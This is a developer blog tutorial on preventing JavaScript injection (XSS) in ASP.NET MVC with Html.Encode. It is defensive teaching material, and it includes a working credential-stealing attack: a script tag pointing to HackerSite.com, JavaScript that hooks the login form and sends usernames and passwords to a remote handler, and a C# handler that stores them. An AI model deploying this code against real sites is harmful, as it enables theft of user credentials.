ASP.NET MVC Tip #7 – Prevent JavaScript Injection Attacks with Html.Encode
In this tip, you learn that JavaScript Injection attacks are much more serious than you might think. I show you how to do very evil things with an ASP.NET MVC website using a JavaScript Injection attack and then I explain an easy way to prevent this type of attack.
When you collect form data from a visitor to your website, and you redisplay that form data to other visitors, then you should encode the form data. Otherwise, you are opening your website to JavaScript Injection attacks.
For example, if you are creating a discussion forum, make sure that you encode the forum messages when displaying the messages in a web page. If you don’t encode the messages, then someone could post a message that contains JavaScript and do very evil things.
In this tip, I want to emphasize that a hacker, in fact, can do very evil things with a JavaScript Injection attack. I’ve been surprised about how little many web developers care about preventing JavaScript Injection attacks. The problem is that most developers are not fully aware of the dangers. They think that the worst thing that you can do with a JavaScript injection attack is to deface a website. In this tip, I am going to show you how a hacker can employ a JavaScript Injection attack to steal all of a website’s user names and passwords. The point of this tip is to scare you into doing the right thing.
According to Wikipedia, JavaScript injection attacks have “surpassed buffer overflows to become the most common of all publicly reported security vulnerabilities.” Even more scary, according to Wikipedia, 70% of websites are open to JavaScript injection attacks (http://en.wikipedia.org/wiki/Cross-site_scripting). So, at least 70% of you who are reading this blog entry are being lazy and endangering your website users. Shame on you!
How to Steal Another Person’s Password with JavaScript
Here’s how a hacker can do very evil things with a JavaScript Injection attack. Imagine that you have created a Customer Survey application by building the application with ASP.NET MVC.
The Customer Survey application is a super simple application. The user can enter feedback on a product by entering the feedback into a form. The customer also can see all of the feedback left by previous customers.
The feedback form is displayed in Figure 1.
Figure 1 – Feedback Form
Notice that the feedback form includes a login form at the top of the page. The Customer Survey application contains a login form in its master page (a common scenario for websites).
Because the feedback form page redisplays feedback entered by other customers, the page is open to JavaScript Injection attacks. All that an evil hacker needs to do is type the following text into the feedback form field:
<script src=http://HackerSite.com/EvilScript.js></script>
When this text is redisplayed in the feedback form page, the <script> tag invokes a JavaScript script located at the hacker’s website. The script is contained in Listing 1.
Listing 1 – EvilScript.js
1: if (window.attachEvent)
2: document.forms[0].attachEvent('onsubmit', fn);
3:
4: function fn(e)
5: {
6: var userName = document.getElementById("userName").value;
7: var password = document.getElementById("password").value;
8: var d = new Date();
9: var url = "HackerSite/EvilHandler.ashx?userName=" + userName
10: + "&password=" + password + "&d=" + d.valueOf();
11:
12: var script = document.createElement("script");
13: script.type = 'text/javascript';
14: script.src = url;
15: document.body.appendChild( script );
16: }
17:
The script in Listing 1 attaches an event handler to the form submit event associated with the login form. When the login form is submitted, the fn() JavaScript function executes. This function grabs the values of the userName and password form fields. Next, the script dynamically injects a <script> tag into the page and passes the userName and password to a handler at a (potentially remote) website named EvilHandler.ashx.
The code for the EvilHandler is contained in Listing 2. The EvilHandler simply grabs the user name and password from the query string and stores the user name and password in the database.
Listing 2 – EvilHandler.ashx
1: using System;
2: using System.Collections;
3: using System.Data;
4: using System.Linq;
5: using System.Web;
6: using System.Web.Services;
7: using System.Web.Services.Protocols;
8: using System.Xml.Linq;
9:
10: namespace CustomerSurvey.HackerSite
11: {
12: [WebService(Namespace = "http://tempuri.org/")]
13: [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
14: public class EvilHandler : IHttpHandler
15: {
16:
17: public void ProcessRequest(HttpContext context)
18: {
19: // Get user name and password from URL
20: string userName = context.Request.QueryString["userName"];
21: string password = context.Request.QueryString["password"];
22:
23: // Store in database
24: HackerDataContext db = new HackerDataContext();
25: StolenPassword pwd = new StolenPassword();
26: pwd.userName = userName;
27: pwd.password = password;
28: db.StolenPasswords.InsertOnSubmit(pwd);
29: db.SubmitChanges();
30: }
31:
32: public bool IsReusable
33: {
34: get
35: {
36: return false;
37: }
38: }
39: }
40: }
Imagine that the Customer Feedback form appears at a banking website. In that case, the hacker now has the ability to access everyone’s account information and transfer everyone’s money to a banking account in the Cayman Islands. Not bad for a few lines of code.
ASP.NET MVC Does Not Support Request Validation
The danger is a little more acute in the case of an ASP.NET MVC application. In an ASP.NET Web Forms application, unlike an ASP.NET MVC application, you can rely on a feature called Request Validation. Request Validation detects whether form data submitted from a page contains dangerous looking text. If you submit form data that contains, for example, angle brackets then an exception is thrown.
Be aware that ASP.NET MVC does not use Request Validation. You have complete and total responsibility for preventing JavaScript injection attacks in an ASP.NET MVC application.
Preventing JavaScript Injection Attacks
Preventing JavaScript injection attacks is simple. Make sure that you call Html.Encode() whenever you display text retrieved from a user in a view.
For example, here’s the portion of the Index view that displays the customer feedback:
1: <h1>Customer Feedback</h1>
2: <ul>
3: <% foreach (Survey survey in ViewData.Model)
4: { %>
5: <li>
6: <%= survey.EntryDate.ToShortDateString() %>
7: —
8: <%= survey.Feedback %>
9: </li>
10: <% } %>
11: </ul>
This code contains a loop that iterates through Survey entities. The values of the Feedback and EntryDate properties are displayed for each Survey entity.
In order to prevent JavaScript injection attacks, you need to use the Html.Encode() helper method. Here’s the right way to code the loop:
1: <h1>Customer Feedback</h1>
2: <ul>
3: <% foreach (Survey survey in ViewData.Model)
4: { %>
5: <li>
6: <%= survey.EntryDate.ToShortDateString() %>
7: —
8: <%= Html.Encode(survey.Feedback) %>
9: </li>
10: <% } %>
11: </ul>
12:
What Needs to Be Encoded
Notice that I did not encode the EntryDate property in the code in the previous section. There are two reasons why you do not need to encode the EntryDate when displaying this property in a page.
First, the EntryDate was not entered by a website visitor. The value of the EntryDate property is created by your code. A hacker cannot enter malicious code here.
Imagine that a visitor does enter the value of the EntryDate property. Because the EntryDate is stored as a DateTime in the SQL Server database, a hacker cannot sneak malicious code into the EntryDate. Therefore, you don’t need to worry about encoding this property when you display it.
In general, you should worry about JavaScript Injection attacks whenever you accept text input from a user. For example, worry about displaying user names. If you allow a user to create their own user name, then a user could potentially sneak an evil JavaScript string into their user name (or add an image tag that points to a pornographic image).
Also, worry about links. Most blog applications enable anonymous users to post a link to their website when they post a comment on the blog. A hacker can sneak malicious JavaScript into the link. Here’s a simple example:
<a href="javascript:alert('Something Evil!')">Mr. Hacker</a>
When you click this link, JavaScript code executes. In this case, nothing really evil happens. However, you could execute code that steals form data or cookies from the page.
Authentication, Session State, and HttpOnly Cookies
You can use JavaScript Injection Attacks to steal cookies. For example, if you store a user’s credit card number in a cookie, then you can inject JavaScript into the page and grab the credit card number by using the document.cookie DOM property.
Both ASP.NET Forms Authentication and ASP.NET Session State use cookies. Forms Authentication relies on an authentication ticket stored in a cookie named .ASPXAUTH. Session State uses a cookie named ASP.NET_SessionId. If you could steal these cookies then you could impersonate website users and steal user Session State information.
Fortunately, Microsoft has taken precautions to make it more difficult to steal the Forms Authentication and Session State cookies. Both cookies are HttpOnly cookies. An HttpOnly cookie is a special type of cookie that cannot be read through client-side code. You can read HttpOnly cookies only from the web server.
Microsoft Internet Explorer, Firefox, and Opera all support HttpOnly cookies. Safari and older browsers, unfortunately, do not. Therefore, you still must be careful to HTML encode all user entered data or an evil hacker can steal the Forms Authentication and Session State cookies.
Summary
The purpose of this tip was to scare you into doing the right thing. As mentioned in the introduction, JavaScript Injection attacks are the most common type of security attack. Most web developers don’t spend enough time worrying about it. I hope this tip has convinced you to always encode your user collected data when displaying the data in an MVC view.
You can try out the code discussed in this tip by clicking the link below. After you enter a user name and password in the login form and click the button, the user name and password will appear in the StolenPasswords database table.